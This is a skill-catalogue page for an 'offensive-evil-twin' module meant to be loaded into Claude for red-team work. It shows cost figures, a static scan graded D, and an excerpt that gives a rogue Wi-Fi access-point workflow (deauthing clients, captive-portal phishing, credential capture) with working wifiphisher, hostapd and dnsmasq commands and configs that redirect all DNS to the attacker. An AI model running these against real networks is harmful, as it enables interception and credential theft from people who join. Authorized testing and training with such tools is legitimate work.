claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SnailSploit/Claude-Red --skill offensive-evil-twingit clone --depth 1 https://github.com/SnailSploit/Claude-RedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/snailsploit/claude-red/offensive-evil-twin)<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-evil-twin"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-evil-twin/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-evil-twin"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-evil-twin.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00129 | $0.02164 |
| Opus 5 | $0.00064 | $0.01082 |
| Sonnet 5 | $0.00026 | $0.00433 |
| Haiku 4.5 | $0.00013 | $0.00216 |
Grade D, and why
offensive-evil-twin scanned grade D with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variableshighData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
description: "Evil Twin / KARMA / Mana access point methodology — rogue AP construction with hostapd-mana / wifiphisher / airgeddon, KARMA universal probe response, Mana selective probe response, captive portal phishing, Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd How it starts
The opening of the file, as written. The whole thing — 221 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Evil Twin / KARMA / Mana
Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires.
Quick Workflow
- Discover target ESSID(s) clients are looking for (PNL — Preferred Network List)
- Stand up rogue AP advertising matching ESSID(s)
- (Optional) Deauth clients off legitimate AP to push them toward yours
- Run captive portal / transparent MITM
- Capture creds, deliver payload, or harvest sessions
Variants
| Variant | Mechanic | Use Case |
|---|---|---|
| Evil Twin | Same ESSID + BSSID as legit AP | Open or PSK-known networks (ISP cafe Wi-Fi, public guest) |
| KARMA | Respond "yes" to every probe request | Clients with broad PNLs (most older devices) |
| Mana | Respond selectively to probes per-client | KARMA-aware MAC randomization defenses |
| Known Beacons | Beacon a list of likely-known ESSIDs | Wide-net attraction without seeing probes first |
| Captive Portal | Force splash page on association | Phishing, payload delivery |
Open / PSK-Known Evil Twin
Use when you know (or have cracked) the PSK.
# wifiphisher — opinionated automation including portal templates
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
# airgeddon (interactive menu, good for one-off)
sudo airgeddon
# → Evil Twin attacks menu → Captive Portal
# Manual: hostapd + dnsmasq + iptables redirect
cat > /tmp/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=KnownPSK
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd /tmp/hostapd.conf &
# DHCP/DNS via dnsmasq
cat > /tmp/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=10.10.10.10,10.10.10.50,12h
dhcp-option=3,10.10.10.1
dhcp-option=6,10.10.10.1
address=/#/10.10.10.1 # wildcard DNS to attacker
EOF
sudo dnsmasq -C /tmp/dnsmasq.conf -d
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 221 lines · 129 tokens per session scan D dec52fa1cc0b
offensive-evil-twin is a skill published in the GitHub repository SnailSploit/Claude-Red (3,048 stars, last pushed 9d ago), licensed MIT. It adds 129 tokens to every session and 2,164 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it D with 2 findings (harvests environment variables, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
code-documenter
Expert documentation generator for coding projects. Analyzes codebases to create thorough, comprehensive documentation for developers and users. Supports incremental updates, multi-audience documentation, architecture decision records, and documentation health tracking. Works with any project type (APIs, CLIs, web…
app-store-opportunity-research
Full-pipeline iOS App Store opportunity research. Discovers underserved niches, analyzes competitor gaps, estimates revenue, produces scored top-3 opportunity reports, and writes MVP PRDs — all through browser and web research. Use when the user wants to find profitable iOS app ideas, research App Store charts…
ghost-writer
Produce first drafts that match a writer's authentic voice using their Voice DNA Document. Consumes DNA documents from writing-dna-discovery skill. Generates 2 meaningfully different drafts with headlines, confidence assessment, decision notes, and DNA refinement suggestions. Collaborative partner that evaluates…
paywall-pricing-optimizer
Design effective paywalls, structure subscription tiers, and optimize pricing for mobile apps. Covers monetization model selection, paywall screen design, pricing psychology, A/B testing strategy, and RevenueCat/StoreKit/Google Billing integration. Use when the user wants to monetize an app, design a paywall, choose…
app-store-listing-optimizer
Optimize iOS App Store and Google Play Store listings for maximum discoverability and conversion. Perform competitive keyword research, craft keyword-optimized titles/subtitles/descriptions, design screenshot sequences, and generate A/B test variants. Use when the user has a built app and needs to write or improve…
writing-orchestration
This skill should be used when orchestrating complex writing workflows with multiple phases. It provides two-agent orchestration patterns, the two-gate content readiness assessment, 10 baseline writing strategies, 20+ situational strategies, and quality checkpoints. Inspired by the Spiral Writing System.